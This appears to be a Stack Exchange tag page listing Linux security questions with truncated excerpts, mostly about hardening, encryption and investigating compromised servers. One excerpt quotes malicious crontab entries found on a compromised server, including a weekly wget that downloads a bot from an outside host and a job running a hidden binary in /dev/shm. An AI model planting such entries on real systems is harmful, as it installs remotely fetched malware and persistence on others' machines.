Securing Linux systems and applications; understanding Linux security features.
4
votes
3answers
218 views
Live Linux which does not mount any hard drive in the computer
I am searching for a Linux System which runs from a CD and does not mount any hard drive of the computer.
I want to prevent any possiblity to write something on the hard drive of the computer and on ...
4
votes
3answers
90 views
Can the root of a system access to unencrypted data when using a double tunnel?
I connect to a DMZ gateway system (B) which is not secured. From this machine (B) I can connect to the final destination (C).
A-->B-->C
I created a ssh tunnel from A to B and forwarding the port 22 ...
4
votes
2answers
1k views
Preventing Attacks Scanning for PHPMyAdmin etc
I have a Linux web server running Rails and each time I check the Nginx logs I find attempts to access PHPMyAdmin, database and admin directories such as this:
190.196.161.110 - - ...
4
votes
3answers
814 views
How to use VNC with SSH tunnel - “is this howto secure”?
PC-A: the local machine, from where i want to see the remote machine [Fedora]
PC-B: the remote machine, where the vnc server will be [Ubuntu]
install a vnc client [from where you want to connect] on ...
4
votes
1answer
127 views
Hidden directory with 0x0d0x0a
Someone has hidden a directory too fool policies on a FTP account. The directory name was 0x0d0x0a.
How does he create that ?
The directory is nearly invisible with ls but discoverable with find.
...
4
votes
2answers
581 views
environment variable accessibility in Linux
Perhaps this is a trivial question, but how accessible are environment variables in Linux between different users?
e.g. if Alice executes
export FAVORITE_FOOD=`cat /home/alice/fav_food.txt`
Can ...
4
votes
2answers
240 views
Securing data on laptop's hdd
I was wondering which is the best way to secure/encrypt data in the hard disk on a laptop that runs Ubuntu Oneiric? Setting LVM encryption?
I am mostly concerned about having my laptop lost or what ...
4
votes
2answers
477 views
Difference between vulnerabilities on windows/linux/mac for same program
If someone finds a vulnerability like buffer overflow in a program such as Google Chrome or Mozilla Firefox running on a linux machine, are there any chances that this vulnerability will persist on ...
4
votes
1answer
272 views
Server monitoring for security
We do a lot of web hosting management and have started to get into selling server management packages. However, we want to start monitoring servers for security related threats.
Our clients may use ...
4
votes
2answers
554 views
Security Concerns with X11 Forwarding
What are some of the security concerns and reasons either for or against allowing X11 Forwarding. I have generally taken an approach of not allowing it under the blanket guise of security. Recently, ...
4
votes
2answers
352 views
Protecting data on a laptop with linux
I'd like to keep some private data (photos, notes, ...) and my browsing data hidden. The rest is not so important. Most of the time I just put the laptop to sleep and don't shut it down often, making ...
4
votes
2answers
284 views
What features do you look for in an Enterprise Log Management solution?
This question is for IT Pros, and people who manage a company's infrastructure. Developers should see this related answer for tools geared for them.
What are your requirements for such a Event Log ...
4
votes
2answers
244 views
Detect changes in /boot when using full disk encryption
When running a fully encrypted linux system using dm-crypt, the /boot partition has to be unencrypted to boot, as far as I know. I've setup a server that can be unlocked remotely by connecting to a ...
4
votes
1answer
3k views
Fail2Ban does not ban failed root login attempt
I have a small server which only open ports are ssh, http and https. I have fail2ban installed and set up so that after 3 failed attempts someone gets blocked for 10 minutes (thats the dafault I ...
4
votes
1answer
247 views
What tools can be use for Security Auditing for Redhat
Are there any good tools that can be used for Security auditing of Redhat Linux.
That can audit all the critical areas of System and provide the detailed output of all the audited sections.
4
votes
1answer
178 views
Are we under hacker control?
We have a Web Server that mount Centos. Onto that WS there is an Apache (version 2.2.3) and some sites.
You can log on only if you have a certificate (for root user) or via ftp (a restricted ...
4
votes
1answer
1k views
Benefits to ArchPwn over BackTrack
Besides BackTrack having a cooler name and the whole Ubuntu vs. Arch Linux thing, what are the relative benefits of ArchPwn over BackTrack?
Are the tools broadly the same, or does one have better ...
4
votes
2answers
124 views
Can my /boot be compromised if I Suspend my notebook?
So if I use e.g.: LUKS, and I always suspend my notebook, then are there any methods to modify the unencrypted /boot? It contains the kernel!
Or if someone tries (evil maid) to modify the /boot then ...
4
votes
2answers
210 views
What does a MCSE need to learn to be proficient regarding *nix security?
I have a top notch Windows MCSE/MCSD (developer) who wants to broaden his skills with Linux security... but needs to update his skills from the Ultrix / Yellowpages days of 40 years ago.
What ...
4
votes
2answers
65 views
Executing arbitrary commands through iptables-restore input
During a pentest I found a way to add arbitrary iptables firewall rules to a server. These rules get applied by way of the iptables-restore command, and I've been wondering whether there is any way to ...
4
votes
1answer
198 views
Can auditd track events that occured over NFS
I have multiple servers mounting a NFS shared called /opt/WHATEVER from Server X.
Server X has auditd enables with rule:
sudo /sbin/auditctl -w /opt/WHATEVER -p rwxa
When events occur on Server X ...
4
votes
2answers
963 views
How to scan USB drive with clamav on Linux
Is there a way to scan the entire drive including auto-run and all partitions, including the master boot record (MBR)?
4
votes
1answer
157 views
“WICKED” entries in the default nginx vhost's logs
I have a small VPS running nginx, and for a long time now (several months, since I rented it) it has been collecting weird entries in its default (listen 80 default;) vhost's logs:
109.x.x.121 - - ...
4
votes
1answer
71 views
Testing a chroot environment for privilege escalation vulnerabilities
I'm looking for holes in my current implementation of a chroot jail that I have implemented for a group of users. Is there anything I can do better here?
I utilized the following packages:
RHEL6
...
4
votes
3answers
162 views
What would the cryptographic impact be of knowing the output of /dev/urandom?
Another noob question, I know, but something I'm unsure about.
If I somehow magically knew the output of /dev/urandom at any given time, how much would that weaken a given encryption system? Or, ...
4
votes
2answers
375 views
How to improve VPS security?
I’m using Linux based VPS hosting, and a firewall and mod_sec help to keep most hackers out. However, over the last couple of weeks I noticed several entries in mod_sec showing that an unknown domain ...
4
votes
3answers
587 views
Wrapping system call (in reliable and secure way)
It there reliable method of "wrapping" system calls under Linux ?
(Like LD_PRELOAD for wrapping shared library function calls.)
Is there reliable, secure method of "wrapping" system calls (and, maybe ...
3
votes
7answers
1k views
Server compromised for 2nd time, cannot locate source of attack
I need some help tracing a vulnerability on my server. For the second time, my server has been compromised with files being replaced with virus-ridden downloads.
According to the filesystem dates, ...
3
votes
3answers
1k views
Besides OpenVas and Nessus, what are my other options for vulnerability detection?
I know of Nessus (which is $1300 for a pro feed) and OpenVAS (which I don't like).
I use Linux so do I have any other options for vulnerability detection?
3
votes
5answers
983 views
Secure mount options + partitioning on Ubuntu
What is the best solution for mount options/partitioning when having e.g.: an Ubuntu minimal install (11.04) for Desktop use? e.g.: put /tmp on different partition to give it mount options like: ...
3
votes
3answers
218 views
Why should every file have a user and a group?
I've been reading in most hardening guides for linux, that you should check for files and directories without valid user or valid group. What I can't find, is how this could be used for an attack, or ...
3
votes
2answers
205 views
Is GPG suitable as part of a password manager and generator?
I assume that GPG is very strong to crack, guess, etc. Since I have confidence in GPG, would it be appropriate to use my GPG key as the master key for a password manager or generator?
3
votes
3answers
358 views
Pseudo Random Generator is not initialized from the (entropy pool)?
The RHEL5 manuals state that /dev/urandom will use the entropy pool until it's exhausted, and then it will resort to a fall-back pseudo-random algorithm, so that it will never block.
But when ...
3
votes
5answers
135 views
Blocking network access to host(s) at the kernel level in Linux?
Getting it out of the way: Not iptables!
What I'd like to do is block network access to certain IPs, subnets, and/or hostnames at the Linux kernel level, such that no user, including root, could ...
3
votes
3answers
195 views
Using /usr/bin/passwd as login shell
I have a requirement to set up a SSH tunnel between two hosts. SSH server runs on a Linux host, and the SSH client (PuTTY) runs on a Windows host.
I have set up a separate user account (say 'tunnel') ...
3
votes
4answers
877 views
Determining the point of compromise on an infected web server?
Recently a friend of mine has had his web server compromised - all PHP files were injected with malicious code, in particular one that looks to be called "GetMama". If I look this up, it seems that ...
3
votes
2answers
176 views
Which access rights should be chosen for doku wiki?
I'm currently making my first experiences with a CMS called "DokuWiki" (Link). This CMS needs only PHP and writes the information to files (seems to be /dokuwiki/data/pages).
At the moment I gave the ...
3
votes
2answers
114 views
Vulnerability testing without the use of exploits?
I was doing some testing on a server to see if it was vulnerable to a 0-day local exploit (the exploit was for gaining root privileges using a bug in the Linux kernel). There was no real information ...
3
votes
2answers
2k views
How to secure a dedicated linux server running a LAMP stack for commercial E-commerce use
To be more specific, I would like to get some help, either through a tutorial or through a book, on how to configure an apache server to run securely and minimize the risks for commercial use.
...
3
votes
1answer
190 views
Exploited by newbie3viLc063s
My debian server got exploited by some scriptiekiddie who used Newbie3viLc063
http://pastebin.com/jma8JRG1 .
Scriptkiddie uploaded logo_php.png to my server (My permissions sucked :s) and he did run ...
3
votes
2answers
175 views
Do LAMP log files sometimes contain sensitive information?
I will have a LAMP web server with CentOS and cPanel. With this setup, is it possible for any server log files, whether regular or error logs, to contain sensitive information in them, such as ...
3
votes
2answers
573 views
Is SecureShellz bot a virus? How does it work?
I'm using a development server in which I found this in the crontab:
[...]
* * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1
@weekly wget http://stablehost.us/bots/regular.bot -O ...
3
votes
1answer
2k views
what does it mean to be setuid root?
I am reading Tanenbaum's Modern Operating Systems 3e. He says "Suppose that the program being attacked [with malicious code] is SETUID root in UNIX (or has Administrator power in Windows). The ...
3
votes
2answers
956 views
/dev/random security holes
I'm doing some reading into the security issues surrounding /dev/random but it's proving to be hard to find good sources of information. Can anybody help? I've asked Google and got a bunch of articles ...
3
votes
4answers
190 views
What mechanism enforces user permissions in Unix/Linux?
One of the core pieces of security in Unix/Linux systems is limiting privileges by user. For instance, certain actions can only be done by the root user. In theory, this can keep a malicious process ...
3
votes
2answers
510 views
Impact of Mathew Garrett's Secure GRUB Bootloader on UEFI Secure Boot
My eyebrows rose with Matthew Garrett announcing his Secure GRUB Bootloader less than three hours after no longer being a Red Hat employee. This work and its impact on the trust chain design of the ...
3
votes
1answer
848 views
Does the Ophcrack LiveCD require hash collection via programs like pwdump?
When I used the Ophcrack LiveCD recently, the program automatically ran without me manually loading any hashes. Question is: If Ophcrack does not automatically find hashes, how can I go about ...
3
votes
2answers
136 views
Proper Linux user authentication through PAM aware applications
Currently I'm building an authentication system using Linux PAM for a python daemon process. It will need to authenticate remote users from a variety of front-ends against the local user list. ...
3
votes
1answer
153 views
How do I configure Terminal Server (and clients) for use over untrusted Wifi networks?
Suppose a client wants to directly connect to Terminal Server exposed to the Internet, without a VPN, ... what software & settings is needed to properly protect against WiFi based attacks? ...
3
votes
1answer
52 views
auditing mod security rule sets
Is there a audit system that can help me try my strings? Such as user agents, post/get data, a simple way to test general sql injections to see how my rule sets hold?
I know with fire fox I can ...
